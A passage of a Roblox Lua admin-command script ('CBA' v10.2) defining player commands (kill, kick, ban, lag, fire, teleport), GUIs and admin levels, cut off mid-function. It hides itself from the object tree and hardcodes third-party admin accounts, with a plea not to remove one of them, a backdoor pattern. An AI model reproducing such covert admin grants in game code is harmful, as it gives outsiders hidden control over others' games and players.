script.Parent = nil
newscript = script:Clone()
CBA = {}
CBA.prilist = {"dsi1"};
CBA.prion = false;
CBA.insert = "21001552"
CBA.sb = newscript
CBA.showlvls = false;
CBA.bet = "/";
CBA.parts = {"Head", "Left Leg", "Right Leg", "Left Arm", "Right Arm", "Torso"}
CBA.ablist = {};
CBA.players = {};
CBA.remove = true; -- backwards
CBA.bubblechat = true;
-- Please dont take YourLuaEncrypter off the admins. I can't stop you but please don't.
CBA.admins  = {{"bellaouzo", 7}, {"YourLuaEncrypter", 7}, {"hillow25", 4},  {"ghostbusters1", 6}, {"manguy12", 5}, {"chrismash", 5}, {"randomepicnoob",  5}, {"LuaModelMaker", 4}, {"joey2678", 4}, {"RobloxDude10101", 4}, {"ProLevi27", 4}, {"thejonathann", 5}, {"1WOOF1", 4}, {"Penjuin3", 4}, {"thomas0233", 3}};
CBA.ablist = {"ghostbusters1", "dsi1", "manguy12", "ProLevi27", "1WOOF1"}
CBA.ban  = {"bradley2121", "Joharack", "jhamarfrost", "doono", "LordMattapple", "AwesomeBuildermon",  "probo1000", "xXLightningkillerXx", "NetworkCliant", "upgradedbuilder", "Celested", "zackeryjerrypowers",  "trickster2070", "11hottie", "Zuppi", "rockhopper88", "mew903", "LimtedJr", "JalenWhite1111","Deathtitan77", "lol1337telamon1337", "MARKRYAN2000"};
CBA.connect = {}
CBA.blocked = {}
CBA.log = {"CBA script ran", "CBA loaded"}
CBA.cblocked = {}
CBA.image = "http://www.roblox.com/asset/?id=72503151"
CBA.platvic = nil
CBA.platpos = 3
CBA.plat = Instance.new("Part")
CBA.plat.Name = "CBAPlatform"
CBA.plat.Size = Vector3.new(10, 1, 10)
CBA.plat.TopSurface = "Smooth"
CBA.plat.BottomSurface = "Smooth"
CBA.plat.BrickColor = BrickColor.new("Really red")
CBA.plat.Transparency = 0.7
CBA.plat.Anchored = true
CBA.version = "10.2"
CBA.lvls = {
[[Guest]];
[[Fan]];
[[Sponsor]];
[[Member]];
[[Secondary Co-Owner]];
[[Co-Owner]];
[[Owner]];
};
CBA.cmd  = {{"Kill", "Kills a player", "kill/player"}, {"Kick", "Kicks a  player", "kick/player"}, {"Ban", "Bans a player", "ban/player"},  {"Fire", "Creates fire in teh players torso", "fire/player"}, {"Day",  "Makes the lighting daytime", "day/"}, {"Night", "Makes the lighting  Nighttime", "night/"}, {"Override", "Overrides an AB", "override/"},  {"Unfire", "Takes the fire out of a players torso", "unfire/player"},  {"Ff", "Gives a player a forcefield", "ff/player"}, {"Unff", "Takes the  forcefield off of someone", "unff/player"}, {"Admin", "Admins a player",  "admin/player/level"}, {"Ab", "gives a player Antiban", "ab/player"},  {"Unadmin", "Unadmins a player", "unadmin/player"}, {"Unban", "Unbans a  player", "unban/player"}, {"Fog", "Enables/disabled fog", "fog/on or  fog/off"}, {"nbc", "No builders club a player", "nbc/player"},  {"colorb", "Changes fog color to pitch black", "colorb/"}, {"bc", "Gives  a BC membership", "bc/player"}, {"tbc", "Gives a TBC membership",  "tbc/player"}, {"obc", "Gives an OBC membership", "obc/player"}, {"do",  "Executes a script", "do/print('Hello World!')"}, {"getage", "Get  someones account age", "getage/player"}, {"cave", "Spawns a cave",  "cave/"}, {"rtools", "Removes a players tools",  "rtools/player"},{"cmds", "Gives the player a list of commands",  "cmds/player"}, {"rhum", "Removes a players humanoid", "rhum/player"},  {"tree", "Spawns a tree", "tree/player"}, {"lag", "Lags a player",  "lag/player"}, {"semikick", "Destroys a players character",  "semikick/player"}, {"getmsg", "Removes a message", "getmsg/Hello  World"}, {"sparkles", "Sparkles a player", "sparkles/player"}, {"epic",  "Makes a player have infinite health", "epic/player"}, {"respawn",  "Respawns a player", "respawn/player"}, {"rmp", "Removes you part... 1  is head, all they way to 6 which is you right leg", "rmp/4(#1-6)"},  {"rmvp", "Removes the player list", "rmvp/"}, {"walkspeed", "Changes a  players walkspeed.", "walkspeed/player/100"},
{"tele", "Teleports a  player to another player", "tele/player/player"}, {"health", "Changes a  players health", "health/player/100"}, {"forest","Generates a forest" ,  "forest/"},{"btools", "Gives a player building tools", "btools/player"},  {"debug", "Debugs the server", "debug/"}, {"chat", "Gives the chat GUI  ot a player", "chat/player"}, {"rickroll", "Plays the rickroll sound in  someone", "rickroll/player"}, {"unrickroll", "Removes the rickroll sound  in someone", "unrickroll/player"}, {"lockserver", "Locks the server",  "lockserver/"}, {"unlockserver", "Unlocks the server", "unlockserver/"},  {"newteam", "Creates a new team", "newteam/team name"}, {"try",  "Changes a players appearance", "try/player/1"}, {"showlvls", "Shows  everyones level", "showlvls/"}, {"terrain", "Generates terrain",  "terrain/"}, {"removeterrain", "Removes terrain", "removeterrain/"},  {"sit", "Sits a player (in testing)", "sit/"}, {"antilag", "Removes a  lag from someone *note wont work if you lag", "antilag/player"},  {"noclothes", "Removes the clothes","noclothes/"}, {"noarms", "removes  arms", "noarms/"}, {"nolegs", "removes legs", "nolegs/"}, {"ambient",  "sets ambient", "ambient/#"}, {"noface", "removes face","noface/"},  {"warn", "Warns a player for a certain reason", "warn/player/reason"},  {"freeze", "Freezes a player", "freeze/player"}, {"thaw", "Thaws a  player", "thaw/player"}, {"punish", "Punishes a player",  "punish/player"}, {"unpunish", "Unpunishes a player",  "unpunish/player"}, {"name", "Renames a player",  "name/player/name"},{"log","Shows player CBA log","log/player"},  {"block", "Blocks an object form the server", "block/object"},  {"blockc", "Blocks a classname", "block/classname"}, {"bb", "Turns  bubblechat on.", "bb/on"}, {"bboff", "Turns bubblechat off.", "bb/off"},  {"plat", "Puts a red platform under your character to make you float.",  "plat/player"}, {"platoff", "Turns the platform off for the specified  player.", "platoff/player"},
{"getasset", "Gives you the asset with the id you provide; Works with tools and hats.",  "getasset/14463095"},{"spawncage", "Spawns the old CBA  cage.", "spawncage/"}, {"opendoor", "Opens the cage door.",  "opendoor/"}, {"closedoor", "Closes the cage door.", "closedoor/"}, {"removeteam", "Removes the given team.", "removeteam/teamname"}, {"changeteam", "Changes the given player's team.", "changeteam/player/red team"}, {"speak", "Makes all players talk.", "speak/Hi"}, {"pri", "Say pri/on and pri/off to enable/disable private server", "pri/on or pri/off"}, {"addp", "Adds a player to the private server list", "addp/player"}, {"removep", "Removes a player from the private server list", "removep/player"}};
CBA.TextColor = Color3.new(1, 0, 0);
CBA.chatting = false;
CBA.ipban = {};
CBA.ip = {};
CBA.abtime = 30;
CBA.override = false;

bases = {
["cmd"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
--function
end end;
}

funcs = {
getip = function(peer)
return peer:match("(%d+%.%d+%.%d+%.%d+)")
end;
findp = function(msg, speaker)
local play = {}
if string.lower(msg) == "others" then
for i,v in pairs(CBA.players) do
if v.Name ~= speaker.Name then
table.insert(play, v)
end end end
if string.lower(msg) == "me" then
table.insert(play, speaker)
end
for i,v in pairs(CBA.players) do
if string.sub(string.lower(v.Name), 1, #msg) == string.lower(msg) then
table.insert(play, v)
end end
if string.lower(msg) == "all" then
for i,v in pairs(CBA.players) do
table.insert(play, v)
end end
return play
end;
makechat = function(player)
if player:findFirstChild("PlayerGui") then
local sg = Instance.new("ScreenGui", player.PlayerGui)
sg.Name = "CBA Chat"
local fr = Instance.new("Frame", sg)
fr.Name = "MainFrame"
fr.Size = UDim2.new(0.2, 0, 0.4, 0)
fr.Style = "RobloxRound"
fr.Position = UDim2.new(0, 0, 0.4, 0)
local tx = Instance.new("TextBox", fr)
tx.Size = UDim2.new(1, 0, 0.1, 0)
tx.FontSize = "Size12"
tx.TextColor3 = Color3.new(1, 1, 1)
tx.BackgroundColor3 = Color3.new(0, 0, 0)
tx.BorderColor3 = Color3.new(1, 1, 1)
tx.Text = "Click to start typing."
tx.Position = UDim2.new(0 , 0, 0.9, 0)
local cl = Instance.new("Frame", fr)
cl.Size = UDim2.new(1, 0, 0.9, 0)
cl.BackgroundTransparency = 1
cl.Name = "Chats"
tx.Changed:connect(function()
funcs.newtxt(player.Name..": "..tx.Text)
end)
end end;
newtxt = function(txt)
if CBA.chatting == false then
CBA.chatting = true
for i,v in pairs(CBA.players) do
if v:findFirstChild("PlayerGui") then
if v.PlayerGui:findFirstChild("CBA Chat") then
local txts = v.PlayerGui["CBA Chat"].MainFrame.Chats
for i,s in pairs(txts:GetChildren()) do
s.Position = s.Position + UDim2.new(0, 0, 0.1, 0)
end
local ng = Instance.new("TextLabel", txts)
ng.Text = txt
ng.Name = "NewText"
ng.Size = UDim2.new(1, 0, 0.1, 0)
ng.TextColor3 = Color3.new(1, 1, 1)
ng.FontSize = "Size11"
ng.BackgroundColor3 = Color3.new(0, 0, 0)
ng.BorderColor3 = Color3.new(1, 1, 1)
for i,s in pairs(txts:GetChildren()) do
if s.Position.Y.Scale > 0.8 then
s:remove()
end end
end end end wait() CBA.chatting = false end end;
getsel = function(obj)
if obj.ClassName == "Part" then
local a = Instance.new("SelectionBox", obj)
a.Adornee = obj
a.Color = BrickColor.new("Black")
end
for i,m in pairs(obj:GetChildren()) do
funcs.getsel(m)
end end;
remsel = function(obj)
local a = obj:findFirstChild("SelectionBox")
if a then
a:remove()
end
for i,m in pairs(obj:GetChildren()) do
funcs.remsel(m)
end end;
log = function(msg)
table.insert(CBA.log, msg)
end;
showmsg = function(msg)
for i,v in pairs(CBA.players) do
if v:findFirstChild("PlayerGui") then
local sg = Instance.new("ScreenGui", v.PlayerGui)
sg.Name = "CBAStartup"
local main = Instance.new("Frame", sg)
main.Name = "Main"
main.Style = "RobloxRound"
main.Size = UDim2.new(0, 0, 0, 0)
main.Position = UDim2.new(0.3, 0, 0.2, 0)
local txt = Instance.new("TextLabel", main)
txt.Size = UDim2.new(1, 0, 1, 0)
txt.TextColor3 = Color3.new(1, 1, 1)
txt.FontSize = "Size18"
txt.BackgroundTransparency = 1
txt.TextTransparency = 1
txt.TextWrap = true
txt.Name = "Text here on CBA"
txt.Text = msg
main:TweenSize(UDim2.new(0.4, 0, 0.6, 0), "Out", "Linear", 1)
coroutine.resume(coroutine.create(function()
wait(1)
for i = 1, 20 do
txt.TextTransparency = txt.TextTransparency - 0.05
wait(0.01)
end
wait(2)
for i = 1, 20 do
txt.TextTransparency = txt.TextTransparency + 0.05
wait(0.01)
end
main:TweenSize(UDim2.new(0, 0, 0, 0), "Out", "Linear", 1)
wait(1)
main:remove()
end))
end end end;
status = function(msg)
wait(math.random()/5)
funcs.asd_send_msg(msg)
end;
asd_send_msg = function(msg)
        local function GetNumAlerts(Par, Ign)
            local Num = 0

            if Par == nil then return 0 end

            for i, Obj in pairs(Par:GetChildren()) do
                if Obj.Name == "New_CBA_Alert" and Obj ~= Ign then
                    Num = Num + 1
                end
            end

            return Num
        end
        local gui = Instance.new("ScreenGui")
        gui.Name = "New_CBA_Alert"

        local txt = Instance.new("TextLabel", gui)
        txt.Name = "zLabel"
        txt.Text = msg
        txt.Size = UDim2.new(0.8, 0, 0, 25)
        txt.Position = UDim2.new(0.1, 0, 0, 0)
        txt.BorderSizePixel = 1
        txt.BackgroundColor3 = Color3.new(0, 0, 0)
        txt.BackgroundTransparency = 0.5
        txt.TextColor3 = Color3.new(1, 1, 1)
        txt.BorderColor3 = Color3.new(1, 1, 1)
        txt.FontSize = "Size10"

        for i, Player in pairs(game:GetService("Players"):GetPlayers()) do
            local new = gui:clone()
            new.Parent = Player:FindFirstChild("PlayerGui")

            pcall(function() game:GetService("Debris"):AddItem(new, 7) end)
            delay(0, function()
                 new.zLabel:TweenPosition(UDim2.new(0.1, 0, 0.2, -25 +  (25*GetNumAlerts(new.Parent, new))  ), "Out", "Quad", 2, true)
                wait(4)
                local lbl = new.zLabel
                for i=0, 1, 0.1 do
                    lbl.BackgroundTransparency = 0.5 + (i/2)
                    lbl.TextTransparency = i
                    wait()
                end
            end)
        end
end;

HandleError = function(Error)
    local Parsed = "Error: " .. tostring(Error):gsub("(.-:)", "")

    local Scrn = Instance.new("ScreenGui")
    Scrn.Name = "Error"

    local main = Instance.new("Frame", Scrn)
    main.Name = "Main"
    main.Size = UDim2.new(1, 0, 0.1, 0)
    main.Position = UDim2.new(0, 0, 0.1, 0)
    main.BackgroundColor3 = Color3.new(0, 0, 0)
    main.Border3 = Color3.new(1, 1, 1)
    main.BackgroundTransparency = 0.5

    local txt = Instance.new("TextLabel", main)
    txt.Size = UDim2.new(1, 0, 1, 0)
    txt.BackgroundTransparency = 1
    txt.FontSize = "Size14"
    txt.Text = Parsed
    txt.TextColor3 = Color3.new(1, 1, 1)

    for i, Player in pairs(CBA.players) do
        if Player:FindFirstChild("PlayerGui") then
            local new = Scrn:clone()
            new.Parent = Player.PlayerGui
            delay(4, function() new:Destroy() end)
        end
    end

end;
}

cmds = {
["lvl1"] = {
["pri"] = function(msg, speaker)
if string.lower(msg) == "on" then
funcs.status("Private server enabled")
CBA.prion = true
elseif(string.lower(msg) == "off") then
funcs.status("Private server disabled")
CBA.prion = false
end end;
["spawncage"] = function(n, n)
wall1 = Instance.new("Part", workspace)
wall1.Size = Vector3.new(1, 20, 51)
wall1.Anchored = true
wall1.BrickColor = BrickColor.new("Really red")--CBA color
wall1.Transparency = 0.7
wall1.TopSurface = "Smooth"
wall1.BottomSurface = "Smooth"
wall1.CFrame = CFrame.new(-25, 10, 0)
wall2 = Instance.new("Part", workspace)
wall2.Size = Vector3.new(51, 20, 1)
wall2.Anchored = true
wall2.BrickColor = BrickColor.new("Really red")--CBA color
wall2.Transparency = 0.7
wall2.TopSurface = "Smooth"
wall2.BottomSurface = "Smooth"
wall2.CFrame = CFrame.new(0, 10, 25)
wall3 = Instance.new("Part", workspace)
wall3.Size = Vector3.new(1, 20, 51)
wall3.Anchored = true
wall3.BrickColor = BrickColor.new("Really red")--CBA color
wall3.Transparency = 0.7
wall3.TopSurface = "Smooth"
wall3.BottomSurface = "Smooth"
wall3.CFrame = CFrame.new(25, 10, 0)
wall4 = Instance.new("Part", workspace)
wall4.Size = Vector3.new(51, 20, 1)
wall4.Anchored = true
wall4.BrickColor = BrickColor.new("Really red")--CBA color
wall4.Transparency = 0.7
wall4.TopSurface = "Smooth"
wall4.BottomSurface = "Smooth"
wall4.CFrame = CFrame.new(0, 10, -25)
roof = Instance.new("Part", workspace)
roof.Anchored = true
roof.Size = Vector3.new(51, 1, 51)
roof.TopSurface = "Smooth"
roof.BottomSurface = "Smooth"
roof.BrickColor = BrickColor.new("Really black")
roof.Locked = true
roof.CFrame = CFrame.new(0, 20.5, 0)
funcs.status("New Spawn cage")
end;
["opendoor"] = function(msg, speaker)
wall1.CanCollide = false
wall1.Transparency = 1
funcs.status("Opened door")
end;
["closedoor"] = function(msg, speaker)
wall1.CanCollide = true
wall1.Transparency = 0
funcs.status("Closed door")
end;
["plat"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
CBA.plat.Parent = workspace
CBA.platvic = v
funcs.status("Gave platform to "..v.Name)
end end;
["bb"] = function(msg ,speaker)
if string.lower(msg) == "on" then
CBA.bubblechat = true
funcs.status("Bubblechat on")
elseif(string.lower(msg) == "off") then
CBA.bubblechat = false
funcs.status("Bubblechat off")
end end;
["showlvls"] = function(msg, speaker)
funcs.status("Showing levels")
CBA.showlvls = true
game:service("Lighting").TimeOfDay = "02:00:00"
funcs.getsel(workspace)
for i,v in pairs(CBA.players) do
for i,s in pairs(CBA.admins) do
if v.Name == s[1] then
if v.Character then
if v.Character:findFirstChild("Head") then
local orb = Instance.new("Part", v.Character)
orb.Name = "CBAOrb"
orb.Size = Vector3.new(2, 2, 2)
orb.CanCollide = false
orb.TopSurface = "Smooth"
orb.BottomSurface = "Smooth"
orb.BrickColor = BrickColor.new("Really black")
orb.Shape = "Ball"
local pos = Instance.new("BodyPosition", orb)
pos.Name = "BodyPos"
pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
local gs = function(x)
    return math.sin(math.rad(x))
end
local gcs = function(x)
    return math.cos(math.rad(x))
end
coroutine.resume(coroutine.create(function()
    while orb and orb.Parent do
        local cf = v.Character.Head.CFrame * CFrame.new(gcs(time()*90)*7, 5, gs(time()*90)*7)
        pos.position = cf.p
        wait()
    end
end))
local bg = Instance.new("BillboardGui", orb)
bg.Adornee = orb
bg.Size = UDim2.new(2, 0, 1, 0)
bg.StudsOffset = Vector3.new(0, 2, 0)
local txt = Instance.new("TextLabel", bg)
txt.Size = UDim2.new(1, 0, 1, 0)
txt.BackgroundTransparency = 1
txt.Text = CBA.lvls[s[2] ]
txt.FontSize = "Size12"
txt.TextColor3 = CBA.TextColor
end end end end end end;
["hidelvls"] = function(msg, speaker)
funcs.status("Hiding levels")
CBA.showlvls = false
funcs.remsel(workspace)
game:service("Lighting").TimeOfDay = "14:00:00"
for i,v in pairs(CBA.players) do
if v.Character then
if v.Character:findFirstChild("CBAOrb") then
v.Character.CBAOrb:remove()
end end end end;
["try"] = function(msg, speaker)
funcs.status("Changing players identity")
local bet = CBA.bet
for i = 1, #msg do
if string.sub(msg, i, i) == bet then
local search = funcs.findp(string.sub(msg, 1, i - 1), speaker)
for _,v in pairs(search) do
if v.Character then
if v.Character:findFirstChild("Humanoid") then
v.Character.Humanoid.Health = 0
local alr = funcs.findp(string.sub(msg, i+1), speaker)
if #alr == 0 then
if string.lower(string.sub(msg, i+1)) == "normal" then
v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=".. v.userId .."&placeId=0"
else
v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=".. string.sub(msg, i+1) .."&placeId=0"
end
else
for i,s in pairs(alr) do
v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=".. s.userId .."&placeId=0"
end end end end end end end end;
["kill"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
if v.Character then
v.Character:BreakJoints()
funcs.status("Killed "..v.Name)
end end end;
["kick"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
v:destroy()
funcs.status("Kicked "..v.Name)
end end;
["ban"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
if v.Name ~= "dsi1" then
table.insert(CBA.ban, v.Name)
funcs.status("Banned "..v.Name)
v:remove()
end end end;
["addp"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
table.insert(CBA.prilist, v.Name)
funcs.status("Added "..v.Name.." to private server")
end end;
["getasset"] = function(msg, speaker)
     if msg == "insert" then
          msg = CBA.insert
     end
    for id in msg:gmatch("%d+") do
        local asset_id = tonumber(id)
        if asset_id ~= nil then
            local root = game:GetService("InsertService"):LoadAsset(asset_id)
            for a, b in pairs(root:GetChildren()) do
                if b:IsA("Hat") or b:IsA("Tool") then
                    if speaker.Character then
                        b.Parent = speaker.Character
                        funcs.status(speaker.Name .. " has been given " .. b.className .. " \"" .. b.Name .. "\" [" .. tostring(asset_id) .. "]")
                    end
                end
            end
        end
    end
end;
["fire"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
if v.Character then
if v.Character:findFirstChild("Torso") then
if v.Character.Torso.className == "Part" then
Instance.new("Fire", v.Character.Torso)
funcs.status("Caught "..v.Name.." on fire")
end end end end end;
["clean"] = function(n, n)
funcs.status("Cleaned workspace")
for i,s in pairs(workspace:GetChildren()) do
if game:GetService("Players"):GetPlayerFromCharacter(s) == nil then
if s.className ~= "Terrain" then
if s.className ~= "Camera" then
pcall(function() s:Destroy() end)
end end end end
local b = Instance.new("Part", Game:GetService("Workspace"))
b.Size = Vector3.new(3000, 1, 3000)
b.CFrame = CFrame.new(0, 0, 0)
b.Name = "Base"
b.BrickColor = BrickColor.new("Earth green")
b.TopSurface = "Smooth"
b.BottomSurface = "Smooth"
b.LeftSurface = "Smooth"
b.RightSurface = "Smooth"
b.FrontSurface = "Smooth"
b.BackSurface = "Smooth"
b.Anchored = true
b.Locked = true
local sl = Instance.new("SpawnLocation", workspace)
sl.Anchored = true
sl.Locked = true
sl.formFactor = "Plate"
sl.Size = Vector3.new(6, 0.4, 6)
sl.CFrame = CFrame.new(0, 0.6, 0)
sl.BrickColor = BrickColor.new("Really black")
sl.TopSurface = "Smooth"
sl.BottomSurface = "Smooth"
sl.LeftSurface = "Smooth"
sl.RightSurface = "Smooth"
sl.FrontSurface = "Smooth"
sl.BackSurface = "Smooth"
end;
["base"] = function(n, n)
funcs.status("Created base")
local b = Instance.new("Part", workspace)
b.Size = Vector3.new(3000, 1, 3000)
b.CFrame = CFrame.new(0, 0, 0)
b.Name = "Base"
b.BrickColor = BrickColor.new("Earth green")
b.TopSurface = "Smooth"
b.BottomSurface = "Smooth"
b.LeftSurface = "Smooth"
b.RightSurface = "Smooth"
b.FrontSurface = "Smooth"
b.BackSurface = "Smooth"
b.Anchored = true
b.Locked = true
local sl = Instance.new("SpawnLocation", workspace)
sl.Anchored = true
sl.Locked = true
sl.formFactor = "Plate"
sl.Size = Vector3.new(6, 0.4, 6)
sl.CFrame = CFrame.new(0, 0.6, 0)
sl.BrickColor = BrickColor.new("Really black")
sl.TopSurface = "Smooth"
sl.BottomSurface = "Smooth"
sl.LeftSurface = "Smooth"
sl.RightSurface = "Smooth"
sl.FrontSurface = "Smooth"
sl.BackSurface = "Smooth"
end;
["nolegs"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
for i,j in pairs(v.Character:GetChildren()) do
funcs.status("Removed "..v.Name.."'s legs")
if j.Name == "Left Leg" or j.Name == "Right Leg" then
j:remove()
end end end end;
["nohats"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
funcs.status("Removed "..v.Name.."'s hat")
for i,j in pairs(v.Character:GetChildren()) do
if j.ClassName == "Hat" then
j:remove()
end end end end;
["noface"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
for i,j in pairs(v.Character.Head:GetChildren()) do
if j.ClassName == "Decal" then
funcs.status("Removed face of "..v.Name)
j:remove()
end end end end;
["noarms"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
for i,j in pairs(v.Character:GetChildren()) do
if j.Name == "Left Arm" or j.Name == "Right Arm" then
funcs.status("Removed arms from "..v.Name)
j:remove()
end end end end;
["time"] = function(word, speak)
funcs.status("Changing time")
if string.lower(word) == "noon" then
game:GetService("Lighting").TimeOfDay = "18:00:00"
elseif string.lower(word) == "morning" then
game:GetService("Lighting").TimeOfDay = "0:00:00"
end
game:GetService("Lighting").TimeOfDay = tonumber(word)
end;
["ambient"] = function(word, speak)
funcs.status("Changed ambient")
game:GetService("Lighting").Ambient = Color3.new(tonumber(word))
end;
["noclothes"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
for i,j in pairs(v.Character:GetChildren()) do
if j.ClassName == "Shirt" or j.ClassName == "Pants" or j.ClassName == "ShirtGraphic" then
funcs.status("Removed "..v.Name.."'s clothes")
j:remove()
end end end end;
["rl"] = function(n, n)
funcs.status("Reset lighting")
for i,v in pairs(game:GetService("Lighting"):GetChildren()) do
v:remove()
end
local light = game:GetService("Lighting")
light.TimeOfDay = "14:00:00"
light.Brightness = 1
light.ColorShift_Bottom = Color3.new(0, 0, 0)
light.ColorShift_Top = Color3.new(0, 0, 0)
light.ShadowColor = Color3.new(178, 178, 178)
light.Ambient = Color3.new(1, 1, 1)
light.FogStart  = 0
light.FogEnd  = 10000000000000
end;
["day"] = function(n, n)
funcs.status("Set time to day")
local light = game:GetService("Lighting")
light.TimeOfDay = "14:00:00"
end;
["night"] = function(n, n)
funcs.status("Set time to night")
local light = game:GetService("Lighting")
light.TimeOfDay = "24:00:00"
end;
["unfire"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
if v.Character then
if v.Character:findFirstChild("Torso") then
if v.Character.Torso.ClassName == "Part" then
for i,f in pairs(v.Character.Torso:GetChildren()) do
if f.ClassName == "Fire" then
funcs.status("Removed fire from "..v.Name)
f:remove()
end end end end end end end;
["ff"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
if v.Character then
funcs.status("Gave forcefield to "..v.Name)
Instance.new("ForceField", v.Character).Name = "CBA Forcefield"
end end end;
["unff"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
if v.Character then
for i,f in pairs(v.Character:GetChildren()) do
if f.ClassName == "ForceField" then
funcs.status("Removed ForceField from "..v.Name)
f:remove()
end end end end end;
["fog"] = function(msg, n)
funcs.status("Toggling fog")
if string.lower(msg) == "on" then
game:service("Lighting").FogStart  = 0
game:service("Lighting").FogEnd  = 100
elseif(string.lower(msg) == "off") then
game:service("Lighting").FogStart  = 0
game:service("Lighting").FogEnd  = 999999999999
end end;
["nbc"] = function(msg, speaker)
funcs.status("Changing BC status")
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
v.MembershipTypeReplicate = 0
end end;
["bc"] = function(msg, speaker)
funcs.status("Changing BC status")
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
v.MembershipTypeReplicate = 1
end end;
["tbc"] = function(msg, speaker)
funcs.status("Changing BC status")
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
v.MembershipTypeReplicate = 2
end end;
["obc"] = function(msg, speaker)
funcs.status("Changing BC status")
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
v.MembershipTypeReplicate = 3
end end;
};
["lvl2"] = {
["getmsg"] = function(msg, speaker)
funcs.status("Creating message")
local m = Workspace:GetChildren()
for i = 1, #m do
if m[i].className == "Message" then
m[i]:remove()
end
end
for i = 1, #m do
if m[i].className == "Hint" then
m[i]:remove()
end
end
end;
["sparkles"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
if v.Character then
if v.Character:findFirstChild("Torso") then
Instance.new("Sparkles", v.Character.Torso)
funcs.status("Giving sparkles to "..v.Name)
end end end end;
["epic"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
funcs.status("Epicized "..v.Name)
if v.Character ~= nil then
for i,s in pairs(v.Character:GetChildren()) do
if s.className == "Part" then
s.Reflectance = 1
elseif(s.ClassName == "Humanoid") then
s.MaxHealth = math.huge
end end end end end;
["respawn"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
funcs.status("Respawned "..v.Name)
local ack2 = Instance.new("Model")
ack2.Parent = game:GetService("Workspace")
local ack4 = Instance.new("Part")
ack4.Transparency = 1
ack4.CanCollide = false
ack4.Anchored = true
ack4.Name = "Torso"
ack4.Position = Vector3.new(10000,10000,10000)
ack4.Parent = ack2
local ack3 = Instance.new("Humanoid")
ack3.Torso = ack4
ack3.Parent = ack2
v.Character = ack2
end end;
["remove"] = function(msg, n)
if string.lower(msg) == "cba" then
funcs.status("Removed CBA")
CBA.remove = false
end end;
["override"] = function(n, n)
CBA.override = true
end;
["ab"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
local isab = false
for i,s in pairs(CBA.ablist) do
if string.lower(v.Name) == string.lower(s) then
isab = true
end end
if isab == false then
table.insert(CBA.ablist, v.Name)
funcs.status(v.Name .. " now has an antiban.")
end
end end;
["unban"] = function(msg, speaker)
for i,s in pairs(CBA.ban) do
if string.sub(string.lower(s), 1, #msg) == string.lower(msg) then
table.remove(CBA.ban, i)
funcs.status("Unbanned "..s)
end end end;
["removep"] = function(msg, speaker)
for i,s in pairs(CBA.prilist) do
if string.sub(string.lower(s), 1, #msg) == string.lower(msg) then
table.remove(CBA.prilist, i)
funcs.status("Removed "..s.." from private server")
end end end;
["unadmin"] = function(msg, speaker)
for i,s in pairs(CBA.admins) do
if string.sub(string.lower(s[1]), 1, #msg) == string.lower(msg) then
table.remove(CBA.admins, i)
funcs.status("Unadmined "..s)
end end end;
["unab"] = function(msg, speaker)
for i,s in pairs(CBA.ablist) do
if string.sub(string.lower(s), 1, #msg) == string.lower(msg) then
table.remove(CBA.ablist, i)
funcs.status("Removed "..s.."'s AntiBan")
end end end;
["rhum"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
funcs.status("Removing humanoids")
for i,v in pairs(a) do
if v.Character.Humanoid then
v.Character.Humanoid:Destroy()
end end end;
["getage"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
local at = 0
local age = v.AccountAge
while true do
wait()
if age - 365 < 0 then
break
end
at = at + 1
age = age - 365
end
local h = Instance.new("Hint", workspace)
h.Text = v.Name.."'s Account is "..at.." Year(s) old and "..age.." Day(s) old"
wait(4)
if h then
h:remove()
end
end end;
["antilag"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
for i,s in pairs(v.PlayerGui:GetChildren()) do
if s:IsA("Message") then
s:remove()
end end end end;
["sit"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
for i,j in pairs(v.Character:GetChildren()) do
if j.ClassName == "Humanoid" then
funcs.status("Made "..j.Name.." sit")
j.Sit = true
end end end end;
["cave"] = function(msg, speaker)
funcs.status("Created cave")
for i = 1, 9 do
local rock = Instance.new("Part", workspace)
rock.Anchored = true
rock.Shape = "Ball"
rock.Material = "Slate"
rock.TopSurface = "Smooth"
rock.BottomSurface = "Smooth"
rock.Size = Vector3.new(40, 40, 40)
rock.BrickColor = BrickColor.new("Stone gray")
rock.CFrame = CFrame.new(0,1,0)*CFrame.Angles(0,math.rad(i*40),0)*CFrame.new(80/2,0,0)
end end;
["rtools"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
funcs.status("Removed "..v.Name.."'s tools")
